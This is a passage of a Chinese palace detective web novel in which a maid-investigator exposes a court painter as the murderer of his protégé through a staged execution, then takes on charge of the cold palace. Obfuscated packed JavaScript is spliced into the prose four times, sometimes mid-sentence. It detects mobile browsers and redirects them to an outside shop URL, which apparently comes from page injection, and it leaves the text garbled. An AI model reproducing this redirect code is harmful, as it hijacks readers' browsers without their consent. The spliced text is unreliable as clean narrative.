秦惜音听得又是想笑,又是同情,只能压下复杂的心绪,出来打圆场,对徐二娘说道:“二娘,你先别说这些。调查荀白鹤的死因,是我的职责,我不能放弃。我现在只想问你几个问题。” 徐二娘道:“好的。” “荀白鹤死的那天,你进过宫?” “对,我来探望我父亲。” “你是第二天早上才离开的?” 徐二娘神情有些闪烁,道:“不是,我当天就离开了。” “可是,有人看见你第二天才离开宫门。” “这……应该是看错了。” “你到底是什么时候离开的?我只需要去值班的侍卫那里问一下就知道了,你隐瞒事实没有意义,反而会增加你的嫌疑。” 徐二娘只得说道:“我确实是第二天早上才离开的。” “为什么?你是宫外的人,没法进入内宫,难道你一直待在图画院里?那样的话,你爹怎么没发现你?” “我……我没有待在图画院里,而是到处逛逛。” “逛了哪些地方?可有目击证人?” “就逛了图画院周围的地方,没有目击者。” “图画院周围人来人往的,你如果真的逛了大半天,怎么会没人看见?” “因为……因为我专挑没人的地方走。” “按理说,你家里有两个年幼的孩子,你自己还怀有身孕,为什么不早早回家,操持家务?” “那是因为……我在家很辛苦,好不容易出来一趟,想休息一下。” “你具体去了哪些地方?” “我说不出具体名字,只知道是在图画院周围。” “荀白鹤死的时候,你在哪里?” “我在另一个地方,总之不在荀白鹤身边……他不是我杀的。” “荀白鹤死的时候,已经是亥时了。那时候你还没找地方睡觉,反而还在闲逛?” “是的。因为我……我觉得皇宫里风景好,所以逛得晚了一些。” “风景再好,大半夜也看不清楚了。而且,宫里到处都是巡逻的侍卫,如果你真的到处游荡,侍卫们不可能不知道。你是如何躲过侍卫的耳目的?” “我……我就是看见前面有侍卫时,会往旁边躲。” “侍卫们训练有素,一般来说,在你躲开他们之前,他们早就看见你了。而且,据你自己所说,你怀这一胎很辛苦,没有什么力气。那你怎么有力气在宫里逛大半天,一直逛到深更半夜?你所说的话,根本就是前后矛盾。 如果你不据实禀告,我只能把你当嫌疑人处理,先把你关起来。” 徐二娘抬头道:“冤枉啊,我不是嫌疑人,我不是凶手……” 徐绍也求情道:“惜音姑娘,我敢打包票,我女儿没有杀人。依我看,凶手一定是张诚志,毕竟是他跟荀白鹤一起在画室待到很晚的,他也一向讨厌张诚志,有杀人动机。” 秦惜音道:“徐画师,你女儿确实不能洗脱嫌疑。” 这时,徐二娘咬着牙问道:“惜音姑娘,偷卖宫中物品是死罪吗?” “这得看偷卖的是什么,以及偷卖的数额。一般来说,如果数额不大,不会判死罪。” “好,我说实话……其实我那天并没有到处乱逛,而是在一个僻静的地方等待一个小太监。那个小太监托我把宫中物品拿出去变卖,把钱给他,我自己留一部分跑腿费。 这事我已经干过多次,不过加起来的获利额都不大,我总共才赚了十几两。 我也是没办法,我爹把我嫁给一个穷人,我又有好几个孩子,生活拮据。我爹又不补贴我,有钱只想着喝酒,或是补贴给荀白鹤。所以,我只能自己想出这个生财的法子。 那天,我离开图画院后,就到了以前约定好的地点等待那个小太监。那个小太监被一些事绊住了,暂时出不来,所以我一直等到半夜,才见到他。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751542|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把一些宝物交给我,让我天一亮就出宫变卖。 我拿到宝物后,等天亮才离开。因为我知道,半夜的时候宫门是不开的。” 秦惜音道:“原来是这样……你跟他约定见面的地方在哪里?那个小太监是谁?你们一共变卖了多少宫中宝物?” 徐二娘道:“那个小太监叫小胡瓜,至于他是哪个宫的,我也不知道。我跟他认识是因为有一次我进宫来看我爹,向我爹要钱,我爹没给。我气得跑了出去,这一幕刚好被小胡瓜看见。 他跟我说,他有个生财的法子,如果我愿意跟他合作,就不需要向我爹要钱了。我就询问是什么法子,他就告诉了我,我也同意了。 我们每次都约在图画院东北角的一间废弃屋子里见面。” 秦惜音听说过小胡瓜,他好像是冯才人宫里的。 秦惜音叫两个侍卫去冯才人宫里找小胡瓜,然后对徐二娘道:“带我去你们约定的地点看一下。” 徐二娘:“好的,姑娘跟我来吧。” 徐绍有些恨铁不成钢地看着徐二娘:“二娘,你怎么能干这种糊涂事啊……你让爹想帮你都帮不上。” 徐二娘冷笑:“不用您帮我,您什么时候帮过我?我只不过是偷卖了宫中宝物,罪不至死,只要能洗脱杀人嫌疑就可以了。” 说着,徐二娘就带着秦惜音,往东北角的废弃房屋走去。 没多久,就走到了。 这里有好几间废弃的房屋,看着这些房屋破破烂烂、灰尘满天飞的样子,平时好像没什么人来。 徐二娘推开其中一间屋子,道:“就是这里,我每次都是在这间屋子等小胡瓜的。” 秦惜音看这间屋子挺脏的,但床铺上灰尘比较少,看来徐二娘在这里坐过或是睡过好几次。 秦惜音问道:“徐二娘,你平时都帮忙卖什么东西?” 徐二娘:“小胡瓜不敢偷太贵重的,一般只偷一些价值不高的手帕、首饰之类的。我帮他卖了好几次了,卖的钱加起来还不到一百两,应该罪不至死吧?” “你们会被处罚,但确实罪不至死。” 过了一会,侍卫们把小太监小胡瓜带来了。 秦惜音询问他倒卖宫中物品的事,他供认不讳。 秦惜音继续问道:“荀白鹤死的那天晚上,徐二娘确实在这间屋子等你,没有出去吗?” 小胡瓜道:“是的,我跟她见面的时候是亥时初,而荀白鹤也是在亥时初死的。所以,徐二娘没有作案时间。” “除了你之外,还有其他人证吗?” “没有了。倒卖宫中物件,越少人知道越好。” 秦惜音对徐二娘道:“只有一个人证是不够的,你还有没有其他人证物证?” 徐二娘摇头:“应该没了……姑娘,你可以把我交给官府,无论交给谁查都可以,我只偷卖了宫里的物件,没有杀人,我不怕查。” “此事涉及宫中财物和宫中太监,应该是由瑾妃娘娘来审理。但先不用急,你们是荀白鹤一案的涉案人员,我可以暂时把你们关押在图画院这边,你们安分待在屋子里就行,我不会用刑,也不会克扣你们的饮食。 如果以后查出,命案跟你们无关,我就把你们移交给瑾妃娘娘。” 16. 尚方宝剑 徐二娘和小胡瓜都道谢:“谢谢惜音姑娘。” 她们知道自己犯了罪,但在被处罚之前,还能过几天太平日子,她们很感激秦惜音。 徐绍对秦惜音说道:“惜音姑娘,我女儿肯定不是杀人凶手,你一定要还她清白啊。” 秦惜音点头:“放心吧,如果真的不是她,她一定会没事的。” 徐二娘却对徐绍冷嘲热讽:“您老人家就别演了,眼看着我摊上大事了,您来流几滴眼泪,说几句情,有什么用?不过是表演给别人看而已。指望我感动?没门!” 徐绍无奈又生气地看了徐二娘一眼,终究是没说什么。 秦惜音让人把徐二娘和小胡瓜都暂时关押起来。 徐二娘单独一间屋子,小胡瓜就关到张诚志那间屋子。 徐绍回到了自己的宿舍,今天晚上他不准备离开了。他好像很担心自己的女儿被误以为是凶手,所以要在这里陪着女儿。 他的关切之情不像是假的,看来他对女儿也是有感情的,只不过可能比不上荀白鹤。 有些人自己没有儿子,就会把别人的儿子看得比自己的女儿还重。这是时代和社会的局限,也不能只怪他们。 接着,秦惜音打算去荀白鹤遇害的画室看看。 虽然她之前已经看过好几次了,但也许有什么细节被遗漏了,再多看一遍也没事。 现在天色已晚,秦惜音掌了灯,走进画室。 这里静悄悄的,只有一个小太监守着。 秦惜音要观察画室,小太监就跟在她身后。 秦惜音问道:“命案发生后,这里没有人动过吧?” 小太监道:“没有。画师们都去别的画室画画了。” 秦惜音转了几圈,除了地上有血迹之外,没有什么线索。 这时,小太监却走到一扇窗户边,说道:“奇怪,这扇窗怎么关上了?” 秦惜音走了过去,见墙上果然有一扇关闭的木窗,便问道:“这扇窗平时是打开的吗?” “对,以前为了通风,一直是打开的,从来没有关过。” “那是从什么时候关上的?” “我也不知道……” “荀白鹤死的那天,窗户是开着的吗?” “好像……好像是开着的,那天晚上,我还进来给荀画师和张画师送过宵夜。当时,我朝后窗瞥了一眼,看见后窗是开着的。” “案发的这些天,你确定没有人进来过?” “应该没有,我一直守着。不过,也有离开的时候。但是我觉得,应该不会有人偷偷溜进去,就为了关一扇窗吧?” 秦惜音把窗户打开,朝外看去。外面是一个小院子,没什么特别的。 秦惜音对那小太监道:“你带上灯笼,跟我一起出去看看。” “是。” 那小太监带着灯笼,跟秦惜音一起走到后面的小院子。 这个院子平时似乎没什么人来,看起来有些杂乱,杂草丛生,也没人打扫卫生。 边上摆着一个火盆,里面有一些灰烬,不知道烧过什么。 秦惜音问道:“这个火盆是谁的?” “哦,这个火盆是画师们共用的。有时候他们画出来的画不满意,就会放到火盆里烧掉。除此之外,他们一般不会到这里来。因为这个后院太小了,也没什么好看的。如果要逛园子,外面的园子更大、更方便。” 秦惜音一边观察着小院子,一边小声说道:“如果有人特意把这扇窗户关上了,目的是什么呢?是为了隐瞒什么,还是……” 这时,秦惜音即将走下两级台阶。 小太监提醒道:“小心啊,姑娘,台阶上有青苔,很滑。我之前就滑倒过一次。” 秦惜音点头:“嗯,谢谢。” 她放慢脚步,走了下去。 这时,她却觉得有哪里不对。 她对小太监道:“你用灯笼照着台阶。” “好的……咦,台阶上的青苔怎么一点都没有了?” 秦惜音刚才走过台阶的时候,也发现了。她感觉脚下一点也不滑,不像是有青苔的样子,所以才让小太监拿灯笼照。 秦惜音问道:“之前这几级台阶上,是不是有很多青苔?” “是的,怎么几天过去就没了,难道是被太阳晒的?” “就算被太阳晒了,青苔也只会变干,不会立刻消失。” “是啊……” 这时,秦惜音忽然灵光一闪。她脑海中的很多线索,就像珠子一样串了起来。 青苔、酒、死者被换掉的裤子、死者脸上惊愕的表情、火盆、特意关上的窗户…… 秦惜音逐渐捋出了一个模糊的真相。可是,这真的是真相吗?为什么他会是凶手? 秦惜音决定,先验证一下自己的猜测。 她对小太监道:“刚才的事,你先别说出去。我先离开一趟,很快回来。” “好的。” 小太监很困惑,因为他觉得刚才没发生什么重要的事,他就是想往外传,也没什么可说的。 一转眼,秦惜音就不见了。 秦惜音一路跑到太后的寝宫,太后已经歇下了,门口是一等宫女入夏值夜。 秦惜音对入夏道:“入夏姐姐,可否从太后娘娘宫中拿一把宝剑给我?我会很快归还。” 入夏问道:“你要剑干什么?” “用于演一出戏。太后娘娘交代给我的任务,我马上就要完成了。入夏姐姐放心,我不会用来伤人的。” “那好,你想要什么样的剑?” “最好是尚方宝剑。” ———————— 过了一会,秦惜音手拿尚方宝剑,回到了翰林图画院。 她命侍卫把张诚志、徐二娘、太监小胡瓜等人都押出来,让她们跪在院子中。 如此大的阵仗,惊动了其他没有离开的画师,画师们纷纷披衣出来,想看看是怎么回事。 接着,秦惜音脸色凝重地对众人说道:“诸位,刚才我把调查到的线索都跟太后娘娘说了。太后娘娘觉得,徐二娘和小胡瓜更像是凶手。徐二娘对荀白鹤不满,所以杀了他。而小胡瓜是她的帮凶。 所以,荀白鹤才会被一击毙命。 太后娘娘赠我尚方宝剑,命我即刻处决他们两人。太后说了,庐陵长公主成婚在即,宫中不宜停放任何尸体。所以,此案了结后,尽快把荀白鹤的尸体运出去安葬。” 徐二娘和小胡瓜都喊冤,情绪十分激动。 秦惜音道:“来人,堵住他们俩的嘴。” 侍卫们上前,把徐二娘和小胡瓜的嘴给堵住。 画师们小声议论着,但没人敢反驳太后的决定。 这时,徐绍出来,跪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751543|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到秦惜音脚边,恳求道:“惜音姑娘,此案有颇多疑点,求您回禀太后娘娘,再查一下吧!我女儿不可能是凶手!” 秦惜音无奈道:“太后娘娘说了,此案已经拖了太久,必须尽快了结。这是她老人家的命令,我也没办法。” 说着,秦惜音就提起尚方宝剑,往徐二娘心口刺去。 眼看徐二娘就要命毙剑下,徐绍大喊:“别杀她!凶手是我!” 秦惜音的剑稳稳地停下了,距离徐二娘的心口还有二寸距离。 她转过头,对徐绍道:“徐画师,您可不能为了救女儿,就胡乱认罪。命案是要讲证据的。” 其他画师也纷纷劝道:“是啊,徐绍,你把罪揽到自己身上不值得。” “是啊,你跟荀白鹤情同父子,就算你说你是凶手,也难以服众。到时候,你女儿还是要死。” “依我看,徐二娘虽然不一定是凶手,但这是太后的决断,你也认命吧。反正,你也不止这一个女儿。” 徐绍却摇头道:“不,凶手就是我……我不能让我女儿替我死……” 徐二娘一脸震惊地看着父亲,她想问什么,但嘴里塞着布,问不出来。 秦惜音却似乎早就猜到了这个结果,冷静地对徐绍道:“你是如何杀死荀白鹤的,一五一十地招来,不得有所隐瞒。” “是……” 徐绍闭目片刻,似乎很痛苦。 过了一会,他睁开眼睛,缓缓说道:“其实,荀白鹤得了不治之症,活不了几年了。这件事他没有跟其他人说过,因为他跟我关系好,才对我说的。 也正因此,他拒绝了所有女孩的示好。不管对方是女官,还是大宫女,他都冷淡对待。因为他知道,他不可能娶妻生子了。 他对我说,他这辈子最大的心愿,就是名载史册,成为千古留名的画家。可是,他知道自己的画技不算特别好。虽然他成了宫廷画师,但离真正的绘画名家还有很大距离。 如果他能活很久的话,他还可以慢慢精进画技。可惜,他寿命不长了,恐怕没法在自己活着的时候,成为闻名遐迩的画师,更不可能被载入史册。 他还说,由于他得了绝症,身体一天比一天虚弱,肌肉、关节还会隐隐作痛。而且,随着他身体变差,他的灵感似乎也开始枯竭,画出来的画没有以前好了。 听他这么说,我很心疼,我也想实现他的心愿。后来,我想到了一个可怕的主意,就是在他风华正茂、圣眷浓厚之时,让他意外死亡。这样,他不用忍受疾病的折磨,也可以因为被谋杀,而成为短时间内的风云人物。史官们也许会因为他死得离奇,而在史书上记上一笔。” 秦惜音既惊讶,又害怕,缓声说道:“你竟然是因为这样的原因,才杀了他?” “没错,我也是为他好。如果我放任他自然死亡,他还会痛苦几百天,并且他的病逝不会引起轩然大波。但是,我杀了他,让别人的目光都被这桩命案吸引,就会有更多人记住他,记住这个年纪轻轻就被杀害的天才画师。 为了增加记忆点,我还特意在他的尸体上盖了很多他的画作。这样,每当别人提起他时,就会提到他死亡时身上盖满了画卷。别人肯定猜不出是为什么,而越猜不出,人们就会越乐此不疲地讨论。 这样,即便他死了,但他永远活在别人的嘴里,活在别人心中。我觉得,这更有价值。” 17. 抽丝剥茧 秦惜音大为震撼。 她问道:“所以,这桩命案,是你早就策划好的?” “没错,我推敲了很多遍,把每一个细节都想到了,确保不会有人怀疑到我身上。” “月季的匕首,你是如何得到的?” “月季经常往图画院这边跑,我早就留心她了,希望她不小心落下什么东西,我就会捡起来,用于日后诬陷她。即便是一些香囊、折扇之类的物件,也没关系。 没想到,那天,她直接遗落了自己的匕首。匕首落在草丛里,所以没发出声音。由于我一直偷偷关注她,所以她的匕首掉下来时,我就看见了。等她走后,我就把她的匕首拿走了。 这真是天助我也,我决定就用月季的匕首杀死荀白鹤。我等了好几天,终于等到了一个机会。 十天前的夜晚,张诚志和荀白鹤单独留在一间画室中。如果荀白鹤死了,别人就会怀疑是张诚志干的。当然,月季也会有嫌疑。 我先回到自己的宿舍,假装睡觉。跟我同宿舍的老画师睡得很早,所以我的一切动作,他都不知道。 我在自己的宿舍假装睡觉,实则偷偷关注着画室那边的动静。 等到张诚志离开画室,已经很晚了,外面没有太监守着。 我就提了一壶酒,去画室找荀白鹤,说想跟他喝一杯。 他很高兴,问我去哪里喝。 我说,就去画室后面的小院子吧,以免惊动其他人。 于是,他就跟我去了那个小院子。 我跟他对酌,顺便聊天,他又提起自己壮志未酬,死了也不安心的事。 我安慰他说,一切都会有转机的,让他别那么悲观。 我又趁机灌了他很多酒,让他喝醉。 接着,他说他想回宿舍休息。我搀扶着他,先进了画室。 他醉醺醺的,没有察觉。 然后,我就……我就用月季的匕首杀了他。他脸上惊讶的表情,我到现在还忘不了。 我来不及伤心,赶紧把他放倒在地上,然后把他的画卷拿过来,盖在他身上。 这时候,我就准备离开。 但我突然想到,我应该先检查一下,是否留下了跟自己有关的痕迹。 我把画卷挪开,把荀白鹤全身都检查了一遍。 我发现,他的裤子和衣裳下摆,都沾了一些青苔,可能是刚才坐在台阶上的时候沾上的。 如果被别人看见这些青苔,又闻到了他身上的酒味,就会猜到,他曾经跟某个人坐在一起喝酒。而能在大半夜邀请荀白鹤喝酒,荀白鹤又不会拒绝的,就只有我。 为了掩饰,我用手帕擦他身上的青苔。 可是,我只把他衣裳下摆处的青苔给擦干净了,他裤子上的青苔我却怎么也擦不干净。 情急之下,我想到了替他换一条裤子,把原来的裤子销毁。 我来到他的宿舍门口,发现里面没人。我就偷偷溜了进去,从他的衣柜中拿出一条旧裤子,回到画室给他换上。 至于换下来的裤子,我一时不知道怎么办,想到了后院的火盆,就直接在火盆里烧毁了。 为了不让人看见,我就把画室后墙上的窗户给关上了。 然后,我继续回去伪造现场,把荀白鹤的手握在刀柄上,营造出他自尽的假象,让查案的人更加难以查清,最后可能会草草结案,不会怀疑到我身上。 接着,我把画卷重新盖在他的身上。 做完这一切后,我回到了自己的宿舍。我发现自己的裤子上也沾了较多的青苔,所以在大半夜把裤子给洗了。跟我同住的老画师也没有惊醒。 后来我又想到,如果查案的人比较细心,发现画室后院台阶的青苔好像被人坐过,可能会倒推出真相。于是,我偷偷去画室后院,把台阶上的所有青苔铲掉了。 本来我这个计划,同时嫁祸给张诚志和月季两个人,已经够天衣无缝了。没想到,那天晚上,女官林锦屏竟然也外出了,而且难以解释自己去了哪里,嫌疑人又多了一个,这正中我下怀。 我想,最后认罪伏法的人,肯定是她们中的一个,绝不会有人怀疑到我的头上。 但我万万没想到的是,我的女儿那天也没有出宫,也染上了嫌疑。我更不知道太后竟然认定我女儿是凶手,无奈之下,我只得承认一切。” 秦惜音道:“不,太后娘娘并没有认定徐二娘是凶手。” 徐绍惊讶地抬头,眼神中带着几分不可置信和愤怒:“你骗我?所以,你假意要杀徐二娘,实则是为了逼我招供?” “没错。” “可是,难道你一开始就怀疑我了?为什么?” “一开始,我没有怀疑你。但是,随着我发现了越来越多的线索,我才逐渐想到,真凶可能是你。首先,你的身形也跟荀白鹤差不多。 如果你正面杀死他,匕首的位置也是不上不下,直直地插.进心口。 第二点,也是最重要的一点,就是荀白鹤的裤子被人换了,而你刚好也在案发当晚洗裤子。我虽然不知道这其中的关联,但我觉得这两件事很巧,都跟裤子有关。 荀白鹤换下来的那条裤子去哪了?你又为什么要挑在深夜洗裤子?是不是为了隐瞒什么? 后来,我无意间走到画室的后院,发现院墙上的窗户关着,后院有一个火盆,而本来应该长满青苔的台阶,却没有青苔了。这些事绝不会是巧合,铲除青苔的人一定是为了隐瞒什么。 于是,我突然想到,如果荀白鹤在那个台阶上坐过,他的裤子上可能会有青苔。而这可能是他的裤子被换掉的原因。而换下来的裤子,在火盆里烧掉,最好不过了。 而徐画师你,深夜洗裤子,很可能是因为你的裤子也沾了青苔。所以,在荀白鹤死前,你跟他见过面。 再联想到你平日里酒壶不离身,而荀白鹤很少喝酒,却从不拒绝跟你喝。 我合理推测,那天晚上,你跟荀白鹤坐在台阶上喝酒,喝完之后,你趁他酒醉,杀了他。 我虽然不知道你的杀人动机,但我看得出来,你在乎你女儿的性命。 所以,我设了这个局,让你自己招供。” 徐绍瘫倒在地,喃喃道:“我服了……惜音姑娘,你是个人才……” 此时,徐二娘也把嘴上的布给拿开了,她哭着对徐绍说道:“爹,你为什么要这么做啊……你不是很喜欢荀白鹤吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751544|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 徐绍喃喃道:“我喜欢那孩子,所以想实现他最大的心愿……” 其他画师也听得唏嘘不已,同时,他们也对秦惜音投来佩服的目光。 第二天早上,秦惜音就把自己的调查结果禀告给了太后。 太后十分满意,对秦惜音道:“惜音,一会你去大理寺一趟,把调查结果告知大理寺的官员,并把相关的人证、物证一并带过去。” “是。” 秦惜音来到大理寺,负责接待她的正是高毅。 高毅敬佩一笑:“惜音姑娘真是断案如神,不来大理寺可惜了。” 秦惜音笑道:“别胡说了,我只是有些小聪明而已。” 接着,秦惜音把自己的查案过程、查案结果、人证物证全都仔细交代了一遍。 高毅认真地听着,同时让他的下属一一记录下来。 秦惜音问道:“徐二娘、小胡瓜偷窃宫中财物,不知道会怎么判?” “所获的银两如数返还,再免费做工几个月就可以了。考虑到徐二娘怀有身孕,可以等她生下孩子,再接受处罚。” “嗯。” “惜音姑娘难得出宫,不如一起去逛街?” 秦惜音受宠若惊:“啊?就我和你吗?” “还有我的下人。” “也好啊。” 秦惜音已经很久没逛街了,她本以为自己会被一辈子关在宫里做苦力。 没想到,短短几个月,她的生活就有了很大的改变。 高毅让下人套车,然后邀请秦惜音一起坐马车,去最繁华的街上。 秦惜音很久没坐马车了,她没想到这辈子还有坐马车的机会,心情有些激动。 但当着高毅的面,她尽量让自己表现得平静一些,以免失礼。 高毅看了她一眼,微微一笑。 接着,高毅泡了茶,给秦惜音一杯。 秦惜音一喝,就知道是上好的凤凰单枞。这是她最喜欢的茶叶之一。 高毅问道:“惜音姑娘觉得这茶如何?” “很好喝,谢谢你……” “那就再喝一杯吧。” 高毅给她添了一杯茶,看她喝下去,似乎挺开心的。 秦惜音问道:“高大人也喜欢喝凤凰单枞?” “嗯。我这马车里藏着好几种茶叶,因为今日惜音姑娘也在,就拿凤凰单枞泡茶了。” “你怎么知道我喜欢喝这个?” “以前,我跟你大哥一起去买过茶叶。他专门买了一盒凤凰单枞给你,我就记住了。” “原来如此……高大人记性真好。” 听高毅提起自己的兄长,秦惜音有些伤感。 现在,自己的家人都被流放了,不知道过得如何。 高毅似乎察觉到了她的心情,安慰道:“你别担心,我专门派人去看过,你的家人被流放到平州,参加劳动,并没有生命危险,也没有受到虐待,只是有点辛苦而已。” 秦惜音感激地看向高毅:“谢谢高大人……以后如果有他们的消息,能不能第一时间通知我?” “一定会的。” “高大人,我的家人有没有被赦免的一天?” 18. 初到冷宫 高毅道:“这很难说,因为他们是因为不支持新皇而遭到打压的,这跟其他的犯人不太一样。即便以后皇上大赦天下,可能也不会赦免他们。不过,我倒有个主意。” “什么主意?” “如果惜音姑娘能立下大功,或是取得什么非凡的成就,也许可以让皇上看在你的面子上,赦免你的家人。不过,秦家要想恢复昔日的荣光,应该不能了。” 秦惜音看到了希望:“嗯,这是个好主意,我会努力的……至于秦家以后的日子,我也没有什么奢望,只要一家人平安健康,并且一直在一起就好了……” 高毅拍了拍秦惜音的肩膀,以示安慰。 过了一会,到了逛街的地点,高毅扶着秦惜音下来。 秦惜音被眼前琳琅满目的商品吸引了,一会在这个摊子上买点吃的,一会在那个摊子上买点小玩意。 好在摊子上的东西都不贵,她还付得起。 高毅的下人会帮她拿东西,让她无负担地逛街。 秦惜音很开心,一路小跑往前。 高毅紧跟在她身后,不怎么买东西。大部分时候,他的眼神都注视着秦惜音。 过了一会,秦惜音买了两个面具,一个老虎,一个兔子。 她把兔子面具戴在了高毅头上,自己戴老虎面具。 高毅被她逗笑了,想把兔子面具拿下来,秦惜音道:“不许拿下来!我是老虎,我命令你当兔子!” 高毅笑道:“遵命,老虎阁下。” 逛了大半个时辰后,高毅进了一家名贵的点心铺子,买了许多点心,让秦惜音带回宫去。 “惜音姑娘,你现在在太后宫里当差,可以给其他宫人们分点好吃的,跟她们搞好关系。还有,你现在是二等宫女,记得不要强出头,要遵从上级的命令。不要越过上级,去太后面前表现。” 秦惜音点头:“嗯,高大人所言,我记住了。” 秦惜音觉得,高毅的嘱咐很贴心,高毅简直就像是自己的亲人一样。她鼻子一酸,忍住了想哭的冲动。 时候不早了,高毅把秦惜音送到宫门口,就离开了。 秦惜音回到了寿康宫,把在宫外买的点心、小玩意都分给了其他宫人。很多宫人都喜欢她的礼物,纷纷向她表示感谢。 晚上,秦惜音刚洗漱完毕,太后派人来叫她。 秦惜音来到太后寝宫,问道:“太后娘娘传唤,不知有何吩咐?” 太后微笑道:“荀画师的事,你完成得很好。哀家特赐你黄金二十两、白银五十两、蝴蝶银簪一对,以示嘉奖。” 秦惜音喜出望外:“谢太后娘娘!” “另外,哀家曾说,你若能完成三件事,就恢复你的良籍。这第二件事,哀家要你管理冷宫三个月,三个月内,要让冷宫所有人都恢复健康。冷宫里的人,要么病了,要么疯了,正常人不多,恢复起来并不容易。你可能做到?” 秦惜音虽然心里没底,但她肯定不会拒绝这个任务,因此便坚定地说道:“奴婢会全力以赴,请太后娘娘放心。” “那就好。你仍然拿着哀家的玉牌,此玉牌可以号令太监、宫女、侍卫,方便你行事。” “是。” 秦惜音回到自己的房间,太后的赏赐已经送到了,就放在她的桌上。 金银锞子明晃晃的,非常好看,引得同住的宫女们纷纷围了过来。 “惜音,这都是太后赏你的啊,你真幸运!” “如果有朝一日,太后也赏我金银珠宝就好了!” “人家惜音是因为立功了,才得到赏赐。像你整天吃了睡,睡了吃,太后娘娘怎么会赏赐你?” “哈哈哈……” 秦惜音谦逊地说道:“这也是我运气好,才得了赏赐。等我有机会出宫时,拿这些钱买些胭脂水粉、漂亮衣服,分给姐姐们。” “真的吗?那我还是要糕点吧,不要胭脂水粉了!” “我想要玩偶,其他的不要也没关系。” “我记得集市上有卖小鸭子的,要不你给我买一对小鸭子吧?” “得了吧,宫女不能养小动物的。你想让太后娘娘和大宫女们每天被鸭子的叫声惊醒吗?” “这倒是……如果不能买活的小鸭子,那就买鸭子玩偶吧!” 秦惜音笑道:“都可以买。姐姐们想要什么,就在这张纸上写下,我有空去买。” 好几个宫女不识字,因此只能她们说,秦惜音写。 秦惜音娟秀的字迹,又引来一阵夸赞。 秦惜音又看了看太后赏的那对银簪,见其小巧精致,并不显眼,适合宫女佩戴。 秦惜音觉得太后很细心,赏的东西都是她现在能用的。 过了一会,秦惜音问其他宫女:“你们知不知道,冷宫里都是什么人?是失宠的妃子吗?” “有失宠的妃子,也有服侍她们的宫女太监,还有一些犯了错的高等宫女或女官等等。总之,人员的来源还挺复杂的。” 秦惜音:“那冷宫里一共有多少人?” “不清楚,几十个总有吧。你要去冷宫看看?我劝你,千万别去。她们疯疯癫癫的,还很不讲卫生。” 秦惜音:“太后娘娘让我管理冷宫三个月。” “这样啊,太后娘娘为什么会突然想起冷宫里的人?” “对啊,冷宫一向没人管的。惜音,你可要注意安全。” “我觉得,这个任务太难了。如果是我,肯定一天都坚持不下去。” “你是不是犯了错,太后要把你发配到冷宫里啊?” 秦惜音摇头:“应该不是,我看太后的意思,应该是想让我把冷宫管理好。” “可是,就算你把冷宫管得很好,又有什么意义呢?被打入冷宫的人,是出不来的。她们过得好还是不好,根本没人在意。” 秦惜音道:“我也不知道……如果我真的能让她们过得更好,这本身就是意义吧,我也会更开心的。” 几天后,秦惜音来到了冷宫。 虽然她心里早有准备,但还是被冷宫的景象惊呆了。 宫殿内杂乱无章,植物没人修剪,每个房间看起来都很脏。有很多人不顾形象地躺倒在地,有的啃着指甲,有的拔草吃,还有的在玩泥土。 有人在“嘻嘻”地笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751545|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,笑声有些瘆人;还有些人放声大哭,也不知道在哭什么。 在这些人里面,能把衣服穿整齐的都不多,大部分都是披头散发、衣服凌乱。 好不容易看到两个看似正常的女人在洗衣服,可秦惜音走近一看,她们俩竟然没用水洗衣服,而是把衣服放在石头上干搓,把衣服都给磨破了。 秦惜音赶紧制止她们,让她们放下衣服去玩。 秦惜音看到一个小太监坐在石头上发呆,便问道:“你们这里管事的呢?” 小太监看了她一眼,没有说话。 秦惜音又道:“我是太后娘娘派来的宫女,专门来管理冷宫的。” 说着,秦惜音出示了自己的玉牌。 小太监站了起来,挠了挠头,说道:“你跟我来吧。” 小太监带着秦惜音来到一间干净整洁的屋子。这屋子应该是冷宫里最好的了,各项设施一应俱全,桌上有香炉,墙上挂着名家字画,屋里有山水屏风,还有好几个置物架和柜子,堪比大家小姐的闺房。 小太监冲着里面大喊:“古嬷嬷,太后殿有人来。” 